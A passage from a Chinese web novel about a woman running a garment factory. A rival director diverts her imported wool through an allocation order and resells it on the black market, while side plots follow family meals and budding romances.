“你放心,不会让你违反原则,就是想请你帮忙打听点事儿,成吗?” 听她这么说,胡春晓犹豫了一下,看着桌上那件显得格外暖绒精致的墨绿色大衣,又看着周柒柒诚恳的眼神,终于点了点头, “那...行吧,你说,咱们都是军嫂,一家人,能帮的,我一定帮。不过这大衣...” “大衣你收着,就当时提前体验一下我们厂的新品。” 不等她说完,周柒柒就打断了她,不容她再推辞,直接快速地把厂里遭遇的原料危机说了一遍。 重点说了那蹊跷的调拨通知,和神秘的“兄弟单位”。 “...春晓姐,你是物资局的老人了,系统熟,门路多,这种调拨批文,你肯定比我门儿清,我就是想请你帮忙打听一下,这份把我们原料调走的批条,具体是哪个部门,哪位领导批下来的?级别多高?有没有可能...想办法周旋一下,看能不能撤销,或者至少,把这批料子再给我们匀回来一点?” 胡春晓听完,眉头也皱了起来,她拿起桌上的茶杯喝了一口,显然是在琢磨。 物资调拨这一块水有多深,她太清楚了,半晌,她点了点头, “行,柒柒,这事儿,我应下了。” 她放下茶杯,神色认真了起来, “这种批条,看着是轻工厅计划处下的,但背后指不定牵涉到哪尊佛。我这就打电话给我省里那个老同学,他在计委那头人头熟。这事儿交给我,最迟明天中午,我给你准信儿!” 听胡春晓答应了,周柒柒心里一块石头稍稍落地,真诚地道谢: “春晓姐,太谢谢你了!” “谢啥,咱们都是军嫂,一家人,能帮就帮一把。” 胡春晓摆摆手,目光又落到那件墨绿色大衣上,脸上终于露出点笑模样, “再说了,你这件大衣,可真招人稀罕。” 刚才周柒柒一进门,她就瞧上她身上那件红色的了,可惜她比柒柒大了七八岁,穿那么大红不合适,这墨绿色的就刚好,沉稳大气,太适合她了。 事情定下来,周柒柒也没多留,告辞离开了物资局。 第263章 刚才不是还说不担心吗? 从物资局出来,日头已经升到了正当中,快中午了。 虽然厂里的事儿火烧眉毛,但周柒柒明白一个道理,天大的事儿,也得先填饱肚子。 身体是革命的本钱,越是精神紧绷,越不能亏待了自己。 只要吃饱了饭,到时候没办法要哭,都能比别人哭得大声一点。 她没回厂子,蹬着自行车拐进了国营饭店,没吝啬,直接点了三菜一汤。 那年代的菜量大实惠,她一个人连一道菜都吃不完,点这么多是有点奢侈了,不过她也不可能浪费。 直接打包好了,用网兜拎着,熟门熟路地拐进了萍姐的服装档口。 一个礼拜没见,李萍和赵大梅瞧见她,都亲热地不得了,拉着她问长问短。 周柒柒没多提许家村的糟心事,只简单说回了趟老家。 正说着话,李萍的婆婆送了午饭过来,今儿老太太蒸了包子,还有大花卷,另外还有几样小凉菜。 加上周柒柒买来的硬菜,小小的木桌上摆得满满当当。 奔波了一上午,周柒柒早就饥肠辘辘,拿起碗筷就大快朵颐起来,和李萍互相夹着菜,吃得特别香。 可一旁得赵大梅却明显心不在焉,筷子在碗里扒拉半天,也没见吃进去多少,手里的花卷更是一口没动。 她眼神时不时就往档口外面的大路上瞟。 周柒柒和李萍交换了个眼神,心里都跟明镜似的。 她扯了扯李萍的袖子,低声问道:“萍姐,是不是张厂长这两天中午...没来送菜?” 李萍叹了口气,声音却没压低: “可不是嘛!奇了怪了,之前天天中午雷打不动,提溜着饭盒就来送菜了,那菜的央视也是,一个礼拜都不带重样的!可这都连着两三天了,人影都没见着...” 她边说边用胳膊肘轻轻碰了下赵大梅。 “可把咱们大梅...哦不,不是,是把我和大梅给担心坏了!也不知道是不是出啥事了?这可不,一直往外看呢!” 赵大梅脸一下就红了,急忙辩解: “萍姐,你别瞎说!谁担心他了!我是...我是看下外面的天色,像是要下雨,担心仓库要漏雨...” 周柒柒看了一眼外面明晃晃的大太阳,心里好笑,面上却故意沉了沉,点头道:“嗯,确实是出事了...” 赵大梅手里的筷子“啪”一下掉在桌上,脸都白了,急急问道: “出事了?出啥事了?是...是孩子们有事,还是服装厂出事了???” “哟,” 周柒柒挑了挑眉,打趣道,“刚才不是还说不担心吗?” 李萍看赵大梅真急了,她自己也有点担心,赶紧扯了扯周柒柒的袖子, “柒柒,你别逗她了,赶紧说说,到底咋了?出啥事了?” 周柒柒收起玩笑神色,正色道:“是厂里遇到点麻烦事。” 她简单把进口澳毛配额被调走的事儿说了,说完还特意叮嘱了一句,“这事儿暂时别往外说。” 李萍在服装批发这行摸爬滚打多年,对本省的服装厂的情况都门清的很,当下就皱起了眉头: “外贸大单?咱们省还有能接这种单子的厂子?听着咋这么邪乎呢?” 就她们这北方大省,做出来的衣服基本都只能本省消化,能在本省卖开都算好厂了,卖到外省都费劲儿,这居然一下子卖到外国去了,她怎么听怎么觉得不可思议。 赵大梅不懂这些,只是忧心忡忡地问,“那...那咋办啊柒柒?你有法子没有?” 周柒柒摇了摇头,说道, “暂时还没头绪,不过我已经让张厂长带人去毛纺厂仓库那边盯着了,出货也就这一两天,看看这批料子到底去了哪家。” 赵大梅一听,眉头皱得更紧了,喃喃道: “那...国强他...厂里出了这么大的事儿,他肯定忙得脚不沾地,孩子们中午有没有饭吃啊?” 这段日子,她傍晚出去卖花,张国强家的几个孩子总来帮忙。 孩子们手脚勤快又懂事,处得跟自家孩子似的,感情也越来越深。 她越想越放心不下,饭菜更是一口都吃不下了。 李萍看在眼里,把装着包子的小蒸笼推了过去: “柒柒买的菜多,我妈蒸的这笼包子也吃不完!大梅,你要实在不放心,就拿上包子,去国强家瞅一眼,我给你放俩钟头假。” “这...这不好吧。” 赵大梅有些犹豫。 李萍摆了摆手,“有啥不好的,这大中午的,也没啥生意,你快去吧。” 周柒柒也劝说道,“是啊,快去吧,大梅姐,孩子们该饿了。” “行,那我快去快回。” 赵大梅攥着那一笼热乎乎的包子,脸又哄了,不过她这次没再扭捏,担忧占了上风,转身就快步走出了档口,手上的袖套都没来得及摘。 周柒柒看着那匆匆离去的背影,忍不住笑着问李萍: “萍姐,你说这俩人...现在到底算咋回事?” 李萍也笑了,一边拿起一个花卷吃着,一边说道: “大梅以前那个男人,是家里给定的,虽然两口子后来感情不错,但哪尝过搞对象这滋味儿?国强这个人,实诚,心眼好,天天这么嘘寒问暖的,热饭热菜送着,还总操心她卖花那点事儿,大梅这心啊,早就不在自个儿身上咯!就是脸皮薄,不好意思说。不过她那点心思,咱们谁看不出来?” 周柒柒点点头,她也觉得张国强老实可靠,赵大梅勤劳善良,两人挺般配,又能互相体贴。 要是这次厂子的难关能过去,真得催张国强赶紧把话挑明了。 毕竟两个人都不年轻了,也都经历过苦日子,能遇上个知冷知热的不容易,早点在一块儿,就早享一天福。 吃完午饭,周柒柒没再多待,骑上自行车又回了厂里。 回到厂里,生产线虽然重新转了起来,但空气里总是飘着一股若有似无的焦虑。 工人们手上忙着活计,眼神却时不时地互相瞟着,带着点不安。 周柒柒心里清楚,光喊口号没用,得让大伙儿看见主心骨稳着呢。 她一下午都没回办公室,就扎在生产线上,跟马师傅凑在一起,对着正在生产的毛衣裙比划商量。 也不知她怎么想的,灵光一闪,拉着马师傅又翻出些零碎的毛线,现场琢磨着给毛衣裙加配了一条同色系的围巾。 她脸上不见半点焦灼,嘴角还噙着笑,细致地跟马师傅确定围巾的宽度、流苏的长度,怎么打结更好看。 工人们看她这么气定神闲,还有心思琢磨旧款的搭配,那点惶惶不安也就慢慢压了下去,心思重新回到了手里的阵线上。 是啊,承包了一整条生产线的人都不慌,他们慌啥? 该干的活儿干好就是了。 这一忙就忙到了晚上七点多,直到把围巾的所有细节都敲定,周柒柒才捶了捶后腰,推着自行车下了班。 蹬着自行车回到家属区,天已经黑透了,她先去隔壁朱莹莹家接舟舟。 小家伙安静地很,正趴在桌上画画,听到柒柒地声音,立刻抬起头,大眼睛弯了弯,然后不声不响地把彩笔和画纸一样样收好,这才跑过来,软软的小手塞进周柒柒的手心里,把她往餐桌上拽。 朱莹莹也迎了出来,看她一脸的疲惫,赶紧说给她留了饭。 周柒柒原本想说不吃了,下午忙活的时候,在厂里食堂拿了两个鸡蛋垫过,这会儿饿过劲儿了,不怎么想吃东西。 可朱莹莹不由分说把她拉进屋里,从厨房里端出一个搪瓷盆:“这个你可一定得尝尝!” 打开盖子,喷子里是奶白色的鱼汤,浸着几大块鲜嫩的鱼肉,还飘着翠绿的葱花,香气直往鼻子里钻。 周柒柒愣了一下。 朱莹莹笑着解释道: “下午我带舟舟去食堂打饭,这小丫头,看到有炖鱼,竟然从自己的口袋里掏出一叠毛票,指着炖鱼,那是非要给你买一份!” 周柒柒的心像是被什么东西猛地撞了一下,又暖又软。 她低着头看舟舟,小丫头正仰着小脸,眼睛亮晶晶的,全都是期待。 “谢谢舟舟!” 周柒柒蹲下身,用力抱了抱她,这孩子,虽然不能说话,但贴心又懂事。 她本来已经饿过劲儿,没什么食欲了,但这会儿看着她最喜欢吃的鱼,肚子里的馋虫全醒了。 朱莹莹还给她打了一盒米饭。 她就着鲜美的鱼汤和滑嫩的鱼肉,风卷残云般,把一整盒米饭脸盆一大盆炖鱼都扫进了肚子,吃得身心都满足极了。 回到家,周柒柒没着急洗漱,而是从随身的挎包里,掏出了一个大大的铁盒。 中午去厂里之前,她还去了一趟百货大楼,本来是想看毛衣裙的销售情况的,路过文具柜台,看到了这个新品,二十四色的丙烯颜料。 想着舟舟还没有呢,她直接就买了回来。 舟舟的眼睛瞬间睁得溜圆,小嘴微张,十分惊喜。 她看看颜料,又看看周柒柒,突然扑过来,踮起脚尖,飞快地在周柒柒脸颊上“吧唧”亲了一口! 亲完,自己倒先不好意思起来,小脸红扑扑的,转身就跑回了自己房间,关上了门。 脸颊上温软的触感仿佛还在,周柒柒站在原地,愣了好一会儿,才慢慢抬手摸了摸被亲的地方,嘴角抑制不住地向上扬起,心里又酸又软。 这孩子... 虽然还不会说话,但这表达情绪的方式,分明和正常孩子一样鲜活,会开心,会害羞,也会撒娇了。 看着紧闭的房门,周柒柒心里不由有些期待。 等翟老爷子那边有了确切的消息,配合点医疗手段,让舟舟重新开口说话,或许真的不是空想。 第264章 三十六计,真是被他玩出花 周柒柒已经算是回来的晚的了,但沈淮川回来得更晚,都十点多了。 周柒柒已经困得眼皮打架,但还是强撑着等他。 趁着他去冲澡的功夫,她钻进厨房,麻利地煮了一碗热气腾腾的汤面,卧了个金灿灿的荷包蛋。 沈淮川擦着头发出来,看到桌上那碗热气腾腾的面,再看看灯下妻子明显疲倦却带着笑意的脸,心里顿时一暖。 两人坐在桌边,周柒柒一边看他大口吃面,一边把厂里原料被截胡的事,以及她让张国强去蹲守、托胡春晓打听批条门路的事,都详细说了一遍。 她可没忘上次厂子出事瞒着他,这位沈大团长闹别扭的样子。 这回,她选择主动“坦白”。 沈淮川听完,眉头紧皱,面也顾不上吃了: “这事儿听着不对劲儿。明天我去找一下公安局的李队长,让他帮忙查查那个神秘的外贸单位和调拨批条,看看到底是谁在背后捣鬼。” 周柒柒摇摇头,握住他的手: “这事儿牵涉到省里轻工厅甚至更高层,水太深,不能这么简单粗暴地查,你先别急着动,我心里有数,如果实在走投无路,我再找你搬救兵,好不好?” 她不想沈淮川因为厂里的事,卷进不必要的麻烦。 沈淮川看着她眼底的疲惫和坚持,最终点了点头: “好,听你的。但别硬扛,有事一定跟我说。” 夜色已深,夫妻俩没再多说什么,简单洗漱后便相拥而眠。 周柒柒几乎是沾枕头就睡着了。 第二天天刚蒙蒙亮,周柒柒又轻手轻脚地爬起来,匆匆洗漱吃完饭后,便赶向了厂里。 昨天上午得了周柒柒的吩咐,张国强是一刻也没敢耽误,立刻就叫了几个信得过的老师傅和小年轻,分头蹲在了省第一毛纺厂的几个出入口旁边。 几个人猫在角落里,愣是熬了一宿没合眼。 到了后半夜,还真被他们蹲着了! 几辆大卡车,拉着满满当当的澳毛料子,从仓库里开了出来。 张国强心里怦怦跳,赶紧蹬着自行车悄悄跟了上去。 可那卡车没往市里任何一家像样的服装厂去,也没去往临近的县市开,而是一路颠簸,开到了城郊一个早就荒废的破厂房院里。 那地方杂草长得比人都高,大门锈迹斑斑,平时鬼影子都没一个。 卡车一辆接一辆开进去卸货,里面的人始终没露正脸。 张国强心里直犯嘀咕,哪个正经接了大外贸单的厂子,会把金贵的进口料子堆在这种鸟不拉屎的地方? 他牢牢记着周柒柒“别打草惊蛇”的话,压着满肚子疑问,带人远远守着。 直到今天早上七点多,厂房里终于出来几个人换班,似乎是熬了一夜,出来透口气、抽根烟。 借着晨光,张国强眯着眼睛使劲瞧! 说到这里,他猛地一拍大腿,眼睛瞪得溜圆: “您猜我看见谁了?打头那个,虽然换了身旧工装,戴了个破帽子,可那走路的架势,那眉眼,我一眼就认出来了!是丘奉贤那个王八蛋的连襟!叫王德发!以前在第三服装厂仓库干过,后来嫌累不干了,整天游手好闲的!绝对是他!” 周柒柒眼神一凛,冷哼一声:“果然是他!” “周师傅,你早就怀疑他了?” 张国强有些意外。 “本来没往他身上想的,” 周柒柒眯着眼睛沉声道, “昨天中午,我去国营饭店买饭菜,正好撞见丘奉贤在那儿请客,好家伙,满满一桌子硬菜,鸡鸭鱼肉全齐了!他坐在主位上,红光满面,唾沫横飞,说什么‘过些日子给厂里添几辆新卡车’,还要‘把厂区东头那片地买下来扩建新厂房’!那架势,不知道的还以为他中了头彩!” 她顿了顿,看向张国强: “我记得你之前提过,就一个多月前,咱们的毛衣裙刚爆火那会儿,丘厂长眼红,急吼吼地跟风抄袭,结果呢,堆了一仓库卖不出去!第三服装厂亏了一大笔,都快揭不开锅了了,这才几天?他那批垃圾货库存还在仓库里发霉呢,他哪儿来的钱又是买新车又是扩厂房的?这钱,怕是来路不正...” 张国强恍然大悟,气得脸都红了: “对!肯定是!上次抄袭咱们毛衣裙失败,他丘奉贤没少在背后嚼舌根,说咱们投机倒把,说你...说你是不正当手段勾搭上翟副市长...” 他顿了顿,没好意思把那些难听话说完,赶紧囫囵道: “反正就是恨上你!也恨上咱们第一服装厂了!只是...我以为他就嘴上骂骂,造造谣就算了,没想到他会这么下作!居然玩阴的,截咱们的原料!” 他越说越气, “我估摸着,人家外商根本就没有指定用料!他就是瞅准了咱们的新款要用这澳毛料子,故意使坏,想照搬咱们的‘光华’系列!可他也不想想,咱们有‘柒’字标,消费者认得是咱们的设计和质量口碑,他就算做出一模一样的,还不是跟上次一样,自寻死路!” 周柒柒眉头紧锁,手指无意识地在桌面上敲着: “丘厂长不傻,精明的很,同样的错误,他应该不会再犯一次...” 她顿了顿,声音里带上了一丝凝重, “我估摸着,根本就没有这个所谓的什么外贸大单,他这次,纯粹就是冲着我们来的...” “啊?” 张国强一愣,“冲着我们来的?他想干什么?” 话刚说完,办公桌上的电话忽然“叮铃铃”地响了起来,尖锐的铃声瞬间打破了办公室里凝重的气氛。 周柒柒和张国强同时看向那台响个不停的电话,心头都是一跳。 张国强赶紧抓起响个不停的电话,刚“喂”了一声,脸色就变了。 他对着话筒连连点头哈腰,额头上瞬间冒出一层细密的汗珠,嘴里反复说着“您放心”、“我们一定想办法”、“肯定给您一个交代”之类的话。 不容易挂了电话,他抹了一把汗,声音都带着点虚脱: “是花城那边的一个大批发商,他之前和我们签了新款的大单,不知道从哪儿听说了咱们原料出了问题,打电话来问呢!急得不行,说他仓库都清空了,就等咱们这批‘光华’大衣当主打款,为了这个还把别家的订单都推了,资金也都拖在咱们这儿...... 咱们要是不能按时交货,他损失巨大!到时候所有的损失,都要算在咱们头上,让咱们赔!” 周柒柒听完,脸上没什么意外表情,只冷冷哼了一声:“果然来了。” 她顿了顿,抬眼问道,“是之前合作过的老客户吗?” “不是,” 张国强摇了摇头,“以前没合作过,是这次新谈下来的大客户,胃口大得很,订单量也很大......” 话音还没落,那电话像是催命似的又尖叫起来。 张国强头皮一麻,迎着头皮再次接起来。 果然,又是另外一家订货商,语气焦急甚至带着点火气,问的都是同一件事。 原料是不是真断了?货还能不能按时交? 从这一刻起,办公室的电话就没消停过。 一个个电话接起来,内容大同小异,不是催问就是施压,语气一个比一个急,一个比一个冲。 都知道了原料出问题,都在疯狂施压,都在威胁要索赔! 张国强应付得口干舌燥,满头大汗,声音都哑了,后背的衬衣被汗水浸透,紧紧贴在身上。 周柒柒被这持续不断的轰炸弄得心烦意乱,胃里也空落落的。 她没心思待在办公室里,直接骑车去了国营饭店,想找个清净角落喘口气,也填饱肚子。 正吃着呢,就见一个穿着军装的身影风风火火地闯了进来,四处张望,是沈淮川的通讯员秦磊。 秦磊一眼瞧见她,眼睛一亮,快步走过来,喘着气说: “嫂子!团长猜你准在这儿,果然找着了!” 周柒柒给他要了瓶汽水:“别急,慢慢说,是淮川出什么事了?” “不是团长,” 秦磊一口气干了整瓶,连忙摆手道: “团长中午没休息,亲自跑了一趟黑市,跟他那边的朋友打听了一下,结果真打听到点东西!” 说着他压低了声音, “市面上,今早忽然冒出来一批澳毛料子,跟你们厂里用的那种一模一样!” 秦磊脸上露出愤愤不平, “不过,那价格,简直黑心肝!比原来正常进货价,翻了足足三倍!而且,他们正准备到处宣传,让更多人知道,团长说,这是冲着嫂子你来的,嫂子,你可得小心啊。” 周柒柒听完,沉默了几秒,她拿着筷子的手紧了紧,心里算是彻底明白了。 丘奉贤这是釜底抽薪,再加趁火打劫,一边截了她的原料,一边又想通过黑市用天价卖回给她。 他一来一回,啥也不用干,就能赚得盆满钵满。 而她和第一服装厂,累死累活,这一趟算下来,根本就不赚钱,纯纯给他丘奉贤和第三服装厂打白工了。 这三十六计,真是被他玩出花来了。 她心里一沉,单脸上没什么表情,只是点了点头: “我知道了。辛苦你了秦磊。” 她顿了顿,看着秦磊汗湿的额头,“你吃饭了吗?还有你们团长,他吃饭了吗?” 秦磊摇摇头: “团长查完这事儿,饭都没顾上吃一口,就赶回军区接着忙作战计划了,说是下午有紧急会议。” 周柒柒一听,立刻起身去窗口,买了十几个热乎乎的大肉包子,用两个油纸包好塞给秦磊: “一包你路上吃,一边赶紧带回去,盯着你们团长趁热吃几个,再忙也得垫垫肚子,别把胃熬坏了。” 秦磊捧着热包子,心里暖乎乎的,用力点头:“哎!谢谢嫂子!我这就回去!” 送走秦磊,周柒柒也没心思慢慢吃饭了,匆匆扒拉完碗里的饭,起身就往回走。 厂子里那一摊子烂事还等着她,丘奉贤这把火,烧得可是又猛又毒。 第265章 给他‘送钱\’去! 周柒柒心事重重地回到厂里,刚走到办公室门口,就瞧见赵大梅拎着个盖着布的竹篮子站在那儿,正和张国强说着什么。 两人脸上都带着点不太自然的笑意,空气里飘着一股勾人馋虫的肉香。 “柒柒,你回来得正好!” 赵大梅一看见她,连忙招呼,脸上泛起一丝红晕, “我在我们村里狩猎队手里,买了只山鸡,搭着孩子们秋天采的野山菌炖了一锅,香得很!快,趁热进来吃点!” 周柒柒摆摆手笑道:“大梅姐,我吃过了,你们吃吧。” 她瞧着办公室里,张国强面前摆着个打开的搪瓷缸,里面是金黄喷香的鸡肉和褐色的菌子,他手里拿着半个玉米面馒头,吃得正香。 两人之间的气氛有种说不出的温馨和融洽,倒真像是一家人似的。 周柒柒心里暗笑,有点后悔,自己这回来的好像不是时候,打扰了人家的“好事”。 赵大梅却不由分说,从竹篮里又拿出个一模一样的搪瓷缸,塞到周柒柒手里: “吃过了就下去拿回家热着吃,这鸡炖得烂乎,汤也鲜,暖身子。” 周柒柒瞥见篮子里还有两个空着的搪瓷缸,心里顿时明了,那准时给张国强家里拿几个孩子带过了。 她不由暗叹,大梅姐这人,心思真是细到了骨子里,做事周到又体贴,处处都想着。 她不再推辞,笑着接了过来:“谢谢大梅姐,那我就不客气了,晚上带回去给舟舟尝尝这山珍。” 赵大梅见她收下,脸上笑容更踏实了些,也没多留,只说: “萍姐人好,给我放了两个小时的假,但我拿着工资呢,也不能总顾着自己家的事,得回去看着档口了。” 她说着,麻利地收拾好篮子,跟两人打了个招呼就走了。 赵大梅一走,刚才还斯斯文文小口喝汤的张国强,像是被解开了封印,端起那大半碗鸡汤泡着的玉米馒头,狼吞虎咽起来,呼噜呼噜吃得那叫一个香! 几口下去,碗就见了底,连碗壁都刮得干干净净,那架势,恨不得把搪瓷缸子都舔一遍才罢休。 周柒柒瞅着他那副恨不得连骨头都吞进去,心满意足又有点憨的样子,忍不住偷笑,心里门儿清这“香”可不光是鸡汤的功劳。 她忍着没点破,看破不说破。 回来后,周柒柒一直没听到电话响的声音,办公室里十分清静,她还以为是电话没了呢。 张国强一边收拾着碗筷,一边解释,是他找了后勤科一位脾气顶好的王大姐,把厂里那台催命似的电话机挪到了她那儿专门接听。 “要不然,总响个没完,啥也干不成!” 吃饱喝足,张国强精神头足了不少。 周柒柒拿出之前画的围巾草图,跟他商量起搭配毛衣裙销售的细节。 料子、人工、定价都得重新核算。 她提议价格可以适当加一点,但整体要比单买毛衣裙和围巾便宜,算是给顾客的实惠,也能更快带动销量。 张国强一边拿笔记着,一边忍不住感叹,“周师傅,你心里素质真是这个!” 他竖了下大拇指, “这节骨眼,你还能稳坐钓鱼台,想着怎么卖围巾加销量,一点不乱阵脚,你这天生就是做生意的材料!” 周柒柒被他夸得噗嗤一乐。 她哪儿是什么天生做生意的料,不过是肩膀上站着无数聪明的“前辈”。 上辈子她看过的那些年代商战剧可不是白看的,各种促销套路、危机公关案例多少记得些。 这会儿不过是依葫芦画瓢,结合实际情况用出来罢了。 商量完这些细节,不知道是不是“站”在肩膀上的聪明人太多了,周柒柒只觉得两边肩膀沉甸甸、酸溜溜的,忍不住抬手揉了一下。 正揉着呢,厂里的老师傅老王就急匆匆来了。 他是昨晚跟着张国强去蹲守的其中一员,是老员工了,对厂子有感情,对这事儿格外上心。 他儿子之前在黑市倒腾过东西,带来了黑市的消息。 这消息和沈淮川打听过来的一模一样。 黑市上突然流出一批高价澳毛料子,和他们“光华”系列用的那种一模一样,而且量还不小。 周柒柒心里冷笑,这丘奉贤动作真够快的。 周柒柒心里咯噔一下,面上却不显,只是眼神沉了沉。 这丘奉贤的动作,快得吓人! 她中午在国营饭店吃饭时,沈淮川才刚让秦磊送来黑市出现高价澳毛的消息,这才过去不到俩钟头,连厂里的老师傅都收到风了! 这消息散播的速度,快得像有人拿着大喇叭在喊,生怕她不知道似的! 这是摆明了挖好坑等着她跳呢。 张国强这会儿也咂摸出不对劲儿来了,眉头紧紧皱着。 可具体是哪儿不对,他又说不出来。 等周柒柒把丘奉贤故意放消息、想逼他们高价买材料的算计一点明,他后颈脖子顿时冒出了一层冷汗。 “这...这丘奉贤也太阴险了?他故意把料子放在黑市上,想干嘛?” 张国强有点慌了神。 周柒柒冷笑一声: “想干嘛?等着咱们走投无路,去当冤大头呗!用三倍的价格买他抢来的料子!” “不急。” 周柒柒强迫自己镇定下来, “现在不是琢磨他这个的时候。我昨天托了物资局的胡主任,让她帮忙查批条源头的事儿,看看有没有转圜的余地,她说最迟今天中午给我回信。” 她抬起手腕看了看表,指针已经指向了两点了: “张厂长,上午到现在,有物资局那边的电话打进来吗?” 张国强一脸苦相: “从早上到现在,这电话就跟热线似的,响得就没歇过气儿,都是催货问情况的,估摸着...胡同志的电话根本打不进来。” “瞧我,忙糊涂了,把这茬忘了。” 周柒柒一拍额头,“电话打不通,那我就亲自去物资局找她一趟...” 说着她就起身准备出门。 刚走到办公室门口,就听见外面传来门卫大爷的声音,“周师傅!张厂长!有人找!” 周柒柒抬眼一看,大爷身后跟着的,不正是风风火火赶来的胡春晓嘛! “春晓姐!” 周柒柒赶紧把人迎进来,“我正说去找你呢!” 胡春晓脸上带着一圈红晕,额角还有细汗,显然是急着赶过来的。 张国强忙不迭地去倒茶切水果,被她摆手拦下了。 她坐下喘了口气,说道: “别提了!中午给你厂里打电话,拨了快半个钟头,死活打不通!我知道你急着等信儿,这不,趁着午休还没结束,赶紧亲自跑过来一趟!” 周柒柒心里一暖,连忙问:“春晓姐,是不是批条的事有消息了?” 虽然胡春晓摆手不要,张国强还是给她倒了一杯茉莉花茶,茶的温度刚好。 她接过水杯喝了一大口,润了润嗓子,这才准备开口。 但是她没先开口,而是眼神扫了一下旁边的张国强。 周柒柒会意,立刻说:“没事,春晓姐,张厂长是自己人,信得过,你直说就行。” 胡春晓这才放心坐下,压低了些声音:“事儿我托人问清楚了,批条是第三服装厂的丘奉贤以保障外贸任务的名义申请的,盖章下发的是省轻工业厅计划处。” 她顿了顿,眼神里透出些意味深长, “是呢,这背后还有人递了话,省轻工业厅的李厅长是点了头的,据说...他是为了给一位已经退居二线、但余威犹在的省里老领导面子,具体是哪位,我就不便多说了,反正...能量大着呢!” 胡春晓没明说,但是周柒柒立刻就明白了,她心头一凛。 退居二线的老领导? 这种人,虽然不在位了,但门生故旧遍布要害部门,影响力盘根错节,说句话依旧很有分量。 胡春晓这话既是透露实情,也是在委婉提醒她,这批条从明面说走程序,怕是很难撤销了,硬碰硬可能会得罪人。 “那批条本身的手续呢?齐全吗?我怀疑根本没什么外贸单位。” 周柒柒追问道。 胡春晓摇了摇头: “我也托人仔细看过了那份批条,至少从纸面上看,一切手续齐全,公章清晰,理由写得也冠冕堂皇,保障出口创汇,根本挑不出硬伤,想从批条本身找突破口,难,除非你亲自去查出来哪家外贸单位不存在,不然...” 说完这些要紧事,胡春晓也不敢多耽搁,起身就要赶回单位上班。 周柒柒把人送到厂门口,看着胡春晓骑上自行车走远,才转身慢慢踱回办公室。 回到办公室,她的脸色凝重了许多。 这下麻烦了。 胡春晓带来的消息意味着,想从官方渠道撤销批条、拿回原料这条路,暂时是走不通了。 就算现在去找沈淮川或者是翟副市长,动用他们的关系去查丘奉贤造假、查那份子虚乌有的“外贸订单”,这需要时间! 对方背后还站着那样一尊大佛,真要撕破脸皮去查,牵扯太大,付出的代价,人脉、时间、甚至可能引来报复,都难以估量。 而且,查个水落石出需要多久?一个月?两个月? 可厂子根本就等不起! 每一天停产,都是巨大的亏损——房租、水电、机器损耗、几百号工人的工资,还有仓库里那堆成小山、价值不菲的定制辅料! 这些都在无声地吞噬着资金! 更别提那些像雪片一样飞来的订单! 它们曾带来希望,如今却变成了悬在头顶的刀片! 交货期一天天逼近,如果不能按时出货,那些新签的、胃口极大的批发商和百货大楼,他们的索赔金额加起来,绝对是个天文数字! 足够把刚刚喘过气来的第一服装厂彻底压垮! 也足以让周柒柒倾家荡产! 之前那些雪片一样飞来的订单,此刻全部都化作了催命的符咒,要着周柒柒的命。 张国强看着周柒柒沉重的脸色,心里也跟压了块大石头似的。 他颓然坐回椅子上,声音干涩: “周师傅,那...咱们现在...要想按时生产交货,岂不是...只能去黑市,买丘奉贤故意放出来的那批料子了?” 他冲到办公桌前,拿起算盘噼里啪啦一阵猛打,越打脸色越难看。 “不行啊,周师傅!” 他瘫坐在椅子上,声音发干: “我算过了,咱们‘光华’系列本来定价就不高,走的是薄利多销的路子,如果按黑市那三倍的价格去买原料,别说赚钱了,还得倒贴亏上一笔!这...这简直是割肉补疮,饮鸩止渴啊!” “可如果不买那批料子,亏得就更多了,至少是五倍,后续新款也没资金生产了...” 张国强放下算盘,感觉浑身力气都被抽干了,绝望地问; “现在咱们办?难道...真要去当这个冤大头,去黑市买那些黑心料子?让丘奉贤那个王八蛋得逞?” 办公室里陷入死一般的沉寂,只有只有墙上的挂钟发出单调的滴答声,每一秒都敲在人心上。 就在这片令人窒息的绝望中,一直沉默的周柒柒突然抬起了头。 她眼中那片沉重的阴霾似乎被一股锐气刺破,眼神亮得惊人,带着一种破釜沉舟的决绝。 她猛地站起身,抓起桌上的挎包,声音斩钉截铁: “去什么黑市?!我们直接去第三服装厂!” 张国强愕然抬头,完全跟不上这跳跃的思维: “啊?!去...去第三服装厂?去哪儿干啥?找丘奉贤?!” 周柒柒嘴角勾起一丝冰冷的、带着狠劲儿的弧度,没有解释,只留下一句: “对!找他!给他‘送钱’去!” 说完,她不再看呆若木鸡的张国强,转身大步流星地走出了办公室。 张国强彻底懵了,脑子里像塞了一团浆糊: “送...送钱?给丘奉贤送钱?!” 他完全无法理解周柒柒的用意,但看着她决绝的背影,一种莫名的信任压过了恐惧。 他咬咬牙,也抓起外套,小跑着追了出去。 周师傅说去,那就去! 刀山火海也闯了! 第266章 不知天高地厚! 第三服装厂丘奉贤的办公室,确实比第一服装厂的阔气不少。 红漆地板擦得锃亮,靠墙立着深色文件柜,玻璃柜门里整齐码着文件夹。 墙上挂着几面锦旗,写着“先进生产单位”、“改革创新模范”之类的金字,在阳光下泛着刺眼的光。 锦旗看着气派的很,可惜锦旗下面挂着新款样衣,布料粗糙,线头就那么大刺刺地挂在上头,比金字看着更刺眼。 丘奉贤正端着紫砂茶杯,吹开浮沫,准备惬意地呷一口,就听见秘书在外头焦急地喊了一声, “厂长,第一服装厂的...” 话还没说完呢,周柒柒带着张国强,就直接出现在了办公室门口。 丘奉贤似乎一点儿也不意外,端着茶杯慢悠悠地品了两口,才假装抬头看到门口的两人。 只见他脸上瞬间堆起热情的笑容,像是见到多年未见的老朋友似的。 “哎呦,稀客,稀客啊!” 他慢悠悠放下茶杯,站起身,绕过宽大的办公桌迎上来, “这不是咱们市服装业现在炙手可热的周师傅和张厂长嘛!” “今儿外头吹着的这是什么仙风,把你们二位贵客吹到我这小庙来了?快请坐,请坐!” 他指了指旁边的沙发,“难道你们来一趟,尝尝我这刚弄到的龙井?” 周柒柒没往沙发那边挪步,她今儿可不是来这喝茶客套的。 她径直往前走了两步,停在丘奉贤宽大的办公桌前,目光里像是带了火,愤怒地看向丘奉贤。 张国强紧跟着站在她侧后方,像是一尊沉默的护卫。 “丘厂长,茶就不喝了。” 她声音尖厉,似乎是从嗓子里挤出来的,让人一听就知道她气极了, “名人不说暗话,我们厂的冬季新款,‘光华’系列大衣要用的那批澳毛料子,被人用一直调拨批文半路截了胡,巧得很,现在黑市上就冒出一批货,料子跟我们要用的一模一样,开口就是三倍的高价!这一手,先釜底抽薪断了我们的活路,再趁火打劫坐地起价,玩得真是滴水不漏,漂亮的很啊!” 她顿了顿,眼里的怒火更盛, “丘厂长,你一向消息灵通,路子光,这事儿...不知道你听没听说过?” 